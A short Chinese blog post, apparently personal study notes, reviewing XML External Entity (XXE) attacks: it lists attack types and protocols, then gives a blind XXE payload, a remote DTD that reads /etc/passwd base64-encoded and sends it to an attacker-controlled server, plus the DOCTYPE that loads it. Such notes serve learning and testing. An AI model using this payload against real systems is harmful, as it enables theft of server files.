xxe 复习

最新推荐文章于 2026-08-02 11:29:57 发布

原创最新推荐文章于 2026-08-02 11:29:57 发布 · 358 阅读

0 ·

本内容遵循CC 4.0 BY-SA版权协议

收录于

复习

当前文章被收录于：

复习

2 篇文章 0 人学习

订阅专栏查看详情

当前文章被以下社区和专栏收录：

本文详细介绍了XXE（XML External Entity）攻击的各种方式及其原理。包括如何利用外部实体进行远程文件读取、SSRF攻击及命令执行等。同时，还探讨了XXE攻击支持的不同协议及其在无回显情况下的实现。

XXE

XXE攻击大多是由解析器发出外部资源请求而造成的。
引用外部实体时，引用SYSTEM、PUBLIC申请外部资源，利用其它协议造成的危害。

攻击方式

引用外部实体远程文件读取
url请求，造成ssrf攻击
使用expect直接执行命令
参数实体
Dos攻击

支持协议

ftp
http
php
file
等
借用先知社区的图（https://xz.aliyun.com/t/3357#toc-9）

无回显的xxe
即通过协议来发送内容

vps端
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:9999?p=%file;'>">

客户端
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

客户端发送的
在这里插入图片描述